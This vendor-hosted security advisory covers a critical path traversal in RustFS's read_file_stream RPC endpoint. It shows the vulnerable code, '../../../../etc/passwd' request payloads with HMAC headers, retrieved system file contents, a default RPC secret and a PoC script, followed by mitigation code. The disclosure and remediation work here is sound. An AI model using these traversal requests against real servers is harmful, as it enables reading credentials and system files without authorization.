Get a Demo

Let's Patch It!

Book a short call with one our specialists, we'll walk you through how Endor Patches work, and ask you a few questions about your environment (like your primary programming languages and repository management). We'll also send you an email right after you fill out the form, feel free to reply with any questions you have in advance!

CVE

GHSA-pq29-69jg-9mxc

RustFS Path Traversal Vulnerability
Back to all
CVE

GHSA-pq29-69jg-9mxc

RustFS Path Traversal Vulnerability

RustFS Path Traversal Vulnerability

Vulnerability Details

  • CVE ID
  • Severity: Critical (CVSS estimated 9.9)
  • Impact: Arbitrary File Read/Write
  • Component/rustfs/rpc/readfilestream endpoint
  • Root Cause: Insufficient path validation in crates/ecstore/src/disk/local.rs:1791

Vulnerable Code

// local.rs:1791 - No path sanitization!
let file_path = volume_dir.join(Path::new(&path)); // DANGEROUS!
check_path_length(file_path.to_string_lossy().to_string().as_str())?; // Only checks length
let mut f = self.open_file(file_path, O_RDONLY, volume_dir).await?;

The code uses PathBuf::join() without:

  • Canonicalization
  • Path boundary validation
  • Protection against ../ sequences
  • Protection against absolute paths

Proof of Concept

Test Environment

  • Target: RustFS v0.0.5 (Docker container)
  • Endpointhttp://localhost:9000/rustfs/rpc/readfilestream
  • RPC Secretrustfsadmin (from RUSTFSSECRETKEY)
  • Disk ID/data/rustfs0
  • Volume.rustfs.sys

Attack Scenario

Exploit Parameters

disk: /data/rustfs0
volume: .rustfs.sys
path: ../../../../etc/passwd  # Path traversal payload
offset: 0
length: 751  # Must match file size

Required Authentication

RPC requests require HMAC-SHA256 signature:

## Signature format: HMAC-SHA256(secret, "{url}|{method}|{timestamp}")
Headers:
  x-rustfs-signature: Base64(HMAC-SHA256(secret, data))
  x-rustfs-timestamp: Unix timestamp

Successful Exploits

1. Read /etc/passwd ✅

Request:

GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/passwd&offset=0&length=751
x-rustfs-signature: QAesB6sNdwKJluifpIhbKyhdK2EEiiyhpvfRJmXZKlg=
x-rustfs-timestamp: 1766482485

Response: HTTP 200 OK

Content Retrieved:

root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[... 15 more lines ...]
rustfs:x:10001:10001::/home/rustfs:/sbin/nologin

Impact: Full user account enumeration

---

2. Read /etc/hosts ✅

Request:

GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/hosts&offset=0&length=172

Response: HTTP 200 OK

Content Retrieved:

127.0.0.1	localhost
::1	localhost ip6-localhost ip6-loopback
[...]
172.20.0.3	d25e05a19bd2

Impact: Network configuration disclosure

---

3. Read /etc/hostname ✅

Request:

GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=/etc/hostname&offset=0&length=13

Response: HTTP 200 OK

Content Retrieved:

d25e05a19bd2

Impact: System information disclosure

---

Technical Analysis

Data Flow

1. HTTP Request
   ↓
2. RPC Signature Verification (verify_rpc_signature)
   ↓
3. Find Disk (find_local_disk)
   ↓
4. Read File Stream (disk.read_file_stream)
   ↓
5. VULNERABLE: volume_dir.join(Path::new(&path))
   ↓
6. File Read: /data/rustfs0/.rustfs.sys/../../../../etc/passwd
              → /etc/passwd

Path Traversal Mechanism

// Example traversal:
volume_dir = PathBuf::from("/data/rustfs0/.rustfs.sys")
path = "../../../../etc/passwd"
// PathBuf::join() resolves to:
file_path = "/data/rustfs0/.rustfs.sys/../../../../etc/passwd"
          = "/etc/passwd"  // Successfully escaped!

Why It Works

  1. No Canonicalization: Code doesn't use canonicalize() before validation
  2. No Boundary Check: No verification that final path is within volume_dir
  3. PathBuf::join() Behavior: Automatically resolves ../ sequences
  4. Length-Only Validationcheckpathlength() only checks string length

Special Considerations

  • File Size Constraint: The length parameter must exactly match file size
  • Code validates: file.len() >= offset + length
  • Otherwise returns DiskError::FileCorrupt
  • Volume Requirement: Volume/bucket must exist (e.g., .rustfs.sys)
  • Disk Requirement: Disk must be registered in GLOBALLOCALDISK_MAP

Impact Assessment

Confidentiality Impact: HIGH

  • ✅ Read arbitrary files (demonstrated)
  • ✅ Read system configuration files (/etc/passwd/etc/hosts)
  • ⚠️ Potential to read:
  • SSH keys (/root/.ssh/id_rsa)
  • Application secrets
  • RustFS configuration files
  • Environment variables from /proc

Integrity Impact: HIGH

  • ⚠️ Similar vulnerability exists in putfilestream (not tested)
  • ⚠️ Arbitrary file write likely possible
  • ⚠️ Could write to:
  • Cron jobs
  • authorized_keys
  • System binaries (if permissions allow)

Availability Impact: MEDIUM

  • ⚠️ walk_dir endpoint could enumerate entire filesystem
  • ⚠️ Potential DoS via recursive directory traversal

Exploitation Requirements

Prerequisites

  1. Network Access: Ability to reach RustFS RPC endpoints
  2. RPC Secret Knowledge: Knowledge of RUSTFSSECRETKEY
  • Default: "rustfs-default-secret"
  • Production: From environment variable or config
  1. Disk/Volume Knowledge: Valid disk ID and volume name
  2. File Size Knowledge: Exact file sizes for successful reads

Attack Complexity

  • Without Secret: Impossible (signature verification)
  • With Secret: Trivial (automated script)
  • With Default Secret: Critical risk if not changed

Mitigation Recommendations

Immediate Actions (Priority 0)

  1. Path Canonicalization
async fn read_file_stream(&self, volume: &str, path: &str, ...) -> Result<FileReader> {
    let volume_dir = self.get_bucket_path(volume)?;
    // CRITICAL FIX:
    let file_path = volume_dir.join(Path::new(&path));
    let canonical = file_path.canonicalize()
        .map_err(|_| DiskError::FileNotFound)?;
    // Validate path is within volume_dir
    if !canonical.starts_with(&volume_dir) {
        error!("Path traversal attempt detected: {:?}", path);
        return Err(DiskError::InvalidArgument);
    }
    // Continue with validated path...
}
  1. Path Component Validation
// Reject dangerous path components
if path.contains("..") || path.starts_with('/') {
    return Err(DiskError::InvalidArgument);
}
  1. Use path-clean Crate
use path_clean::PathClean;
let cleaned_path = PathBuf::from(&path).clean();
if cleaned_path.to_string_lossy().contains("..") {
    return Err(DiskError::InvalidArgument);
}

Additional Security Measures

  1. Audit Logging: Log all RPC file operations with full paths
  2. Rate Limiting: Prevent DoS via repeated RPC calls
  3. Secret Rotation: Ensure unique RPC secrets per deployment
  4. Network Segmentation: Restrict RPC endpoint access
  5. Security Testing: Add path traversal tests to test suite

Long-term Improvements

  1. Chroot Jail: Isolate RPC operations in chroot environment
  2. Least Privilege: Run RustFS with minimal file system permissions
  3. Security Audit: Comprehensive review of all file operations

Proof of Concept Script

The complete PoC is available at: exploitpathtraversal.py

Usage

## Ensure RustFS is running
docker compose ps
## Run exploit
python3 exploit_path_traversal.py

Output

[+] SUCCESS! Read 751 bytes
[+] File content:
================================================================================
root:x:0:0:root:/root:/bin/sh
[... full /etc/passwd content ...]
================================================================================

Acknowledgements

RustFS would like to thank bilisheep from the Xmirror Security Team for discovering and responsibly reporting this vulnerability.

Acknowledgements: RustFS would like to thank @realansgar and  bilisheep from the Xmirror Security Team for providing the security report.

Package Versions Affected

Package Version
patch Availability
No items found.

Automatically patch vulnerabilities without upgrading

Fix Without Upgrading
Detect compatible fix
Apply safe remediation
Fix with a single pull request

CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
8.8
-
4.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
C
H
U
0
-
C
H
U
-

Related Resources

No items found.

References

https://github.com/rustfs/rustfs/security/advisories/GHSA-pq29-69jg-9mxc, https://nvd.nist.gov/vuln/detail/CVE-2025-68705, https://github.com/rustfs/rustfs/commit/ab752458ce431c6397175d167beee2ea00507d3e, https://github.com/rustfs/rustfs

Severity

0

CVSS Score
0
10

Basic Information

Ecosystem
Base CVSS
0
EPSS Probability
0.00018%
EPSS Percentile
0.03727%
Introduced Version
1.0.0-alpha.13
Fix Available
1.0.0-alpha.79

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.
Fix Without Upgrading